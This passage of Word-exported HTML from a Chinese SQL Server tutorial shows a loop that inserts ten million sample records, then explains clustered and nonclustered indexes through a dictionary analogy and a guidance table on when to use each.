Tgongwen(fariqi,neibuyonghu,reader,title) values('2004-5-5','</SPAN><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312">通信科<SPAN>','</SPAN>通信科<SPAN>,</SPAN>办公室<SPAN>,</SPAN>王局长<SPAN>,</SPAN>刘局长<SPAN>,</SPAN>张局长<SPAN>,admin,</SPAN>刑侦支队<SPAN>,</SPAN>特勤支队<SPAN>,</SPAN>交巡警支队<SPAN>,</SPAN>经侦支队<SPAN>,</SPAN>户政科<SPAN>,</SPAN>治安支队<SPAN>,</SPAN>外事科<SPAN>','</SPAN>这是最后添加的<SPAN>900</SPAN>万条记录<SPAN>')<o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </SPAN>set @i=@i+1000000<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312">end<o:p></o:p></SPAN></P> <DIV style="BORDER-RIGHT: medium none; PADDING-RIGHT: 0cm; BORDER-TOP: medium none; PADDING-LEFT: 0cm; PADDING-BOTTOM: 1pt; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; mso-element: para-border-div; mso-border-bottom-alt: solid windowtext .75pt"> <P class=MsoNormal style="BORDER-RIGHT: medium none; PADDING-RIGHT: 0cm; BORDER-TOP: medium none; PADDING-LEFT: 0cm; PADDING-BOTTOM: 0cm; MARGIN: 0cm 0cm 0pt; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: medium none; mso-border-bottom-alt: solid windowtext .75pt; mso-padding-alt: 0cm 0cm 1.0pt 0cm"><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312">GO<o:p></o:p></SPAN></P></DIV> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32pt; mso-char-indent-count: 2.0"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">通过以上语句，我们创建了<SPAN>25</SPAN>万条由通信科于<SPAN>2004</SPAN>年<SPAN>2</SPAN>月<SPAN>5</SPAN>日发布的记录，<SPAN>25</SPAN>万条由办公室于<SPAN>2004</SPAN>年<SPAN>9</SPAN>月<SPAN>6</SPAN>日发布的记录，<SPAN>2002</SPAN>年和<SPAN>2003</SPAN>年各<SPAN>100</SPAN>个<SPAN>2500</SPAN>条相同日期、不同分秒的由通信科发布的记录（共<SPAN>50</SPAN>万条），还有由通信科于<SPAN>2004</SPAN>年<SPAN>5</SPAN>月<SPAN>5</SPAN>日发布的<SPAN>900</SPAN>万条记录，合计<SPAN>1000</SPAN>万条。<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32pt; mso-char-indent-count: 2.0"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"><o:p>&nbsp;</o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 黑体">一、因情制宜，建立“适当”的索引<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">建立“适当”的索引是实现查询优化的首要前提。<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">索引（<SPAN>index</SPAN>）是除表之外另一重要的、用户定义的存储在物理介质上的数据结构。当根据索引码的值搜索数据时，索引提供了对数据的快速访问。事实上，没有索引<SPAN>,</SPAN>数据库也能根据<SPAN>SELECT</SPAN>语句成功地检索到结果，但随着表变得越来越大，使用“适当”的索引的效果就越来越明显。注意，在这句话中，我们用了“适当”这个词，这是因为，如果使用索引时不认真考虑其实现过程，索引既可以提高也会破坏数据库的工作性能。<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">（一）深入浅出理解索引结构<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">实际上，您可以把索引理解为一种特殊的目录。微软的<SPAN>SQL SERVER</SPAN>提供了两种索引：聚集索引（<SPAN>clustered index</SPAN>，也称聚类索引、簇集索引）和非聚集索引（<SPAN>nonclustered index</SPAN>，也称非聚类索引、非簇集索引）。下面，我们举例来说明一下聚集索引和非聚集索引的区别：<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 33pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">其实，我们的汉语字典的正文本身就是一个聚集索引。比如，我们要查“安”字，就会很自然地翻开字典的前几页，因为“安”的拼音是“<SPAN>an</SPAN>”，而按照拼音排序汉字的字典是以英文字母“<SPAN>a</SPAN>”开头并以“<SPAN>z</SPAN>”结尾的，那么“安”字就自然地排在字典的前部。如果您翻完了所有以“<SPAN>a</SPAN>”开头的部分仍然找不到这个字，那么就说明您的字典中没有这个字；同样的，如果查“张”字，那您也会将您的字典翻到最后部分，因为“张”的拼音是“<SPAN>zhang</SPAN>”。也就是说，字典的正文部分本身就是一个目录，您不需要再去查其他目录来找到您需要找的内容。<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 33pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">我们把这种正文内容本身就是一种按照一定规则排列的目录称为“聚集索引”。<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 33pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">如果您认识某个字，您可以快速地从自动中查到这个字。但您也可能会遇到您不认识的字，不知道它的发音，这时候，您就不能按照刚才的方法找到您要查的字，而需要去根据“偏旁部首”查到您要找的字，然后根据这个字后的页码直接翻到某页来找到您要找的字。但您结合“部首目录”和“检字表”而查到的字的排序并不是真正的正文的排序方法，比如您查“张”字，我们可以看到在查部首之后的检字表中“张”的页码是<SPAN>672</SPAN>页，检字表中“张”的上面是“驰”字，但页码却是<SPAN>63</SPAN>页，“张”的下面是“弩”字，页面是<SPAN>390</SPAN>页。很显然，这些字并不是真正的分别位于“张”字的上下方，现在您看到的连续的“驰、张、弩”三字实际上就是他们在非聚集索引中的排序，是字典正文中的字在非聚集索引中的映射。我们可以通过这种方式来找到您所需要的字，但它需要两个过程，先找到目录中的结果，然后再翻到您所需要的页码。<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 33pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">我们把这种目录纯粹是目录，正文纯粹是正文的排序方式称为“非聚集索引”。<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 33pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">通过以上例子，我们可以理解到什么是“聚集索引”和“非聚集索引”。<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 33pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">进一步引申一下，我们可以很容易的理解：每个表只能有一个聚集索引，因为目录只能按照一种方法进行排序。<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 33pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">（二）何时使用聚集索引或非聚集索引<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 33pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">下面的表总结了何时使用聚集索引或非聚集索引（很重要）。<SPAN><o:p></o:p></SPAN></SPAN></P> <TABLE class=MsoTableList5 style="BORDER-RIGHT: medium none; BORDER-TOP: medium none; BORDER-LEFT: medium none; BORDER-BOTTOM: medium none; BORDER-COLLAPSE: collapse; mso-padding-alt: 0cm 5.4pt 0cm 5.4pt; mso-border-alt: solid black .75pt; mso-yfti-tbllook: 480; mso-border-insideh: .75pt solid black" cellSpacing=0 cellPadding=0 border=1> <TR style="mso-yfti-irow: -1; mso-yfti-firstrow: yes"> <TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: black 1pt solid; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: black 1pt solid; WIDTH: 142pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1.5pt solid; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black 1.5pt; mso-border-top-alt: solid black .75pt; mso-border-left-alt: solid black .75pt"> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center; mso-yfti-cnfc: 5" align=center><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312">动作描述<SPAN><o:p></o:p></SPAN></SPAN></P></TD> <TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: black 1pt solid; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #d4d0c8; WIDTH: 142.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1.5pt solid; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black 1.5pt; mso-border-top-alt: solid black .75pt"> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center; mso-yfti-cnfc: 1" align=center><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312">使用聚集索引<SPAN><o:p></o:p></SPAN></SPAN></P></TD> <TD style="BORDER-RIGHT: black 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: black 1pt solid; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #d4d0c8; WIDTH: 142.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1.5pt solid; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black 1.5pt; mso-border-top-alt: solid black .75pt; mso-border-right-alt: solid black .75pt"> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center; mso-yfti-cnfc: 1" align=center><SPAN style="FONT-SIZE: 14pt; FONT-FAMILY: 仿宋_GB2312">使用非聚集索引<SPAN><o:p></o:p></SPAN></SPAN></P></TD></TR> <TR style="HEIGHT: 22.7pt; mso-yfti-irow: 0"> <TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: black 1pt solid; WIDTH: 142pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1pt solid; HEIGHT: 22.7pt; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black .75pt; mso-border-top-alt: solid black 1.5pt; mso-border-left-alt: solid black .75pt"> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center; mso-yfti-cnfc: 4" align=center><SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 仿宋_GB2312; mso-bidi-font-weight: bold">列经常被分组排序<SPAN><o:p></o:p></SPAN></SPAN></P></TD> <TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #d4d0c8; WIDTH: 142.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1pt solid; HEIGHT: 22.7pt; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black .75pt; mso-border-top-alt: solid black 1.5pt"> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align=center><SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 仿宋_GB2312">应<SPAN><o:p></o:p></SPAN></SPAN></P></TD> <TD style="BORDER-RIGHT: black 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #d4d0c8; WIDTH: 142.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1pt solid; HEIGHT: 22.7pt; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black .75pt; mso-border-top-alt: solid black 1.5pt; mso-border-right-alt: solid black .75pt"> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align=center><SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 仿宋_GB2312">应<SPAN><o:p></o:p></SPAN></SPAN></P></TD></TR> <TR style="HEIGHT: 22.7pt; mso-yfti-irow: 1"> <TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: black 1pt solid; WIDTH: 142pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1pt solid; HEIGHT: 22.7pt; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black .75pt; mso-border-top-alt: solid black .75pt; mso-border-left-alt: solid black .75pt"> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center; mso-yfti-cnfc: 4" align=center><SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 仿宋_GB2312; mso-bidi-font-weight: bold">返回某范围内的数据<SPAN><o:p></o:p></SPAN></SPAN></P></TD> <TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #d4d0c8; WIDTH: 142.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1pt solid; HEIGHT: 22.7pt; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black .75pt; mso-border-top-alt: solid black .75pt"> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align=center><SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 仿宋_GB2312">应<SPAN><o:p></o:p></SPAN></SPAN></P></TD> <TD style="BORDER-RIGHT: black 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #d4d0c8; WIDTH: 142.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1pt solid; HEIGHT: 22.7pt; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black .75pt; mso-border-top-alt: solid black .75pt; mso-border-right-alt: solid black .75pt"> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align=center><SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 仿宋_GB2312">不应<SPAN><o:p></o:p></SPAN></SPAN></P></TD></TR> <TR style="HEIGHT: 22.7pt; mso-yfti-irow: 2"> <TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: black 1pt solid; WIDTH: 142pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1pt solid; HEIGHT: 22.7pt; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black .75pt; mso-border-top-alt: solid black .75pt; mso-border-left-alt: solid black .75pt"> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center; mso-yfti-cnfc: 4" align=center><SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 仿宋_GB2312; mso-bidi-font-weight: bold">一个或极少不同值<SPAN><o:p></o:p></SPAN></SPAN></P></TD> <TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #d4d0c8; WIDTH: 142.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1pt solid; HEIGHT: 22.7pt; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black .75pt; mso-border-top-alt: solid black .75pt"> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align=center><SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 仿宋_GB2312">不应<SPAN><o:p></o:p></SPAN></SPAN></P></TD> <TD style="BORDER-RIGHT: black 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #d4d0c8; WIDTH: 142.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1pt solid; HEIGHT: 22.7pt; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black .75pt; mso-border-top-alt: solid black .75pt; mso-border-right-alt: solid black .75pt"> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align=center><SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 仿宋_GB2312">不应<SPAN><o:p></o:p></SPAN></SPAN></P></TD></TR> <TR style="HEIGHT: 22.7pt; mso-yfti-irow: 3"> <TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: black 1pt solid; WIDTH: 142pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1pt solid; HEIGHT: 22.7pt; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black .75pt; mso-border-top-alt: solid black .75pt; mso-border-left-alt: solid black .75pt"> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center; mso-yfti-cnfc: 4" align=center><SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 仿宋_GB2312; mso-bidi-font-weight: bold">小数目的不同值<SPAN><o:p></o:p></SPAN></SPAN></P></TD> <TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #d4d0c8; WIDTH: 142.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1pt solid; HEIGHT: 22.7pt; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black .75pt; mso-border-top-alt: solid black .75pt"> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align=center><SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 仿宋_GB2312">应<SPAN><o:p></o:p></SPAN></SPAN></P></TD> <TD style="BORDER-RIGHT: black 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #d4d0c8; WIDTH: 142.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1pt solid; HEIGHT: 22.7pt; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black .75pt; mso-border-top-alt: solid black .75pt; mso-border-right-alt: solid black .75pt"> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align=center><SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 仿宋_GB2312">不应<SPAN><o:p></o:p></SPAN></SPAN></P></TD></TR> <TR style="HEIGHT: 22.7pt; mso-yfti-irow: 4"> <TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: black 1pt solid; WIDTH: 142pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1pt solid; HEIGHT: 22.7pt; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black .75pt; mso-border-top-alt: solid black .75pt; mso-border-left-alt: solid black .75pt"> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center; mso-yfti-cnfc: 4" align=center><SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 仿宋_GB2312; mso-bidi-font-weight: bold">大数目的不同值<SPAN><o:p></o:p></SPAN></SPAN></P></TD> <TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #d4d0c8; WIDTH: 142.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1pt solid; HEIGHT: 22.7pt; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black .75pt; mso-border-top-alt: solid black .75pt"> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align=center><SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 仿宋_GB2312">不应<SPAN><o:p></o:p></SPAN></SPAN></P></TD> <TD style="BORDER-RIGHT: black 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #d4d0c8; WIDTH: 142.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1pt solid; HEIGHT: 22.7pt; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black .75pt; mso-border-top-alt: solid black .75pt; mso-border-right-alt: solid black .75pt"> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align=center><SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 仿宋_GB2312">应<SPAN><o:p></o:p></SPAN></SPAN></P></TD></TR> <TR style="HEIGHT: 22.7pt; mso-yfti-irow: 5"> <TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: black 1pt solid; WIDTH: 142pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1pt solid; HEIGHT: 22.7pt; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black .75pt; mso-border-top-alt: solid black .75pt; mso-border-left-alt: solid black .75pt"> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center; mso-yfti-cnfc: 4" align=center><SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 仿宋_GB2312; mso-bidi-font-weight: bold">频繁更新的列<SPAN><o:p></o:p></SPAN></SPAN></P></TD> <TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #d4d0c8; WIDTH: 142.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1pt solid; HEIGHT: 22.7pt; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black .75pt; mso-border-top-alt: solid black .75pt"> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align=center><SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 仿宋_GB2312">不应<SPAN><o:p></o:p></SPAN></SPAN></P></TD> <TD style="BORDER-RIGHT: black 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #d4d0c8; WIDTH: 142.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1pt solid; HEIGHT: 22.7pt; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black .75pt; mso-border-top-alt: solid black .75pt; mso-border-right-alt: solid black .75pt"> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align=center><SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 仿宋_GB2312">应<SPAN><o:p></o:p></SPAN></SPAN></P></TD></TR> <TR style="HEIGHT: 22.7pt; mso-yfti-irow: 6"> <TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: black 1pt solid; WIDTH: 142pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1pt solid; HEIGHT: 22.7pt; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black .75pt; mso-border-top-alt: solid black .75pt; mso-border-left-alt: solid black .75pt"> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center; mso-yfti-cnfc: 4" align=center><SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 仿宋_GB2312; mso-bidi-font-weight: bold">外键列<SPAN><o:p></o:p></SPAN></SPAN></P></TD> <TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #d4d0c8; WIDTH: 142.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1pt solid; HEIGHT: 22.7pt; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black .75pt; mso-border-top-alt: solid black .75pt"> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align=center><SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 仿宋_GB2312">应<SPAN><o:p></o:p></SPAN></SPAN></P></TD> <TD style="BORDER-RIGHT: black 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #d4d0c8; WIDTH: 142.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1pt solid; HEIGHT: 22.7pt; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black .75pt; mso-border-top-alt: solid black .75pt; mso-border-right-alt: solid black .75pt"> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align=center><SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 仿宋_GB2312">应<SPAN><o:p></o:p></SPAN></SPAN></P></TD></TR> <TR style="HEIGHT: 22.7pt; mso-yfti-irow: 7"> <TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: black 1pt solid; WIDTH: 142pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1pt solid; HEIGHT: 22.7pt; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black .75pt; mso-border-top-alt: solid black .75pt; mso-border-left-alt: solid black .75pt"> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center; mso-yfti-cnfc: 4" align=center><SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 仿宋_GB2312; mso-bidi-font-weight: bold">主键列<SPAN><o:p></o:p></SPAN></SPAN></P></TD> <TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #d4d0c8; WIDTH: 142.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1pt solid; HEIGHT: 22.7pt; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black .75pt; mso-border-top-alt: solid black .75pt"> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align=center><SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 仿宋_GB2312">应<SPAN><o:p></o:p></SPAN></SPAN></P></TD> <TD style="BORDER-RIGHT: black 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #d4d0c8; WIDTH: 142.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1pt solid; HEIGHT: 22.7pt; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black .75pt; mso-border-top-alt: solid black .75pt; mso-border-right-alt: solid black .75pt"> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align=center><SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 仿宋_GB2312">应<SPAN><o:p></o:p></SPAN></SPAN></P></TD></TR> <TR style="HEIGHT: 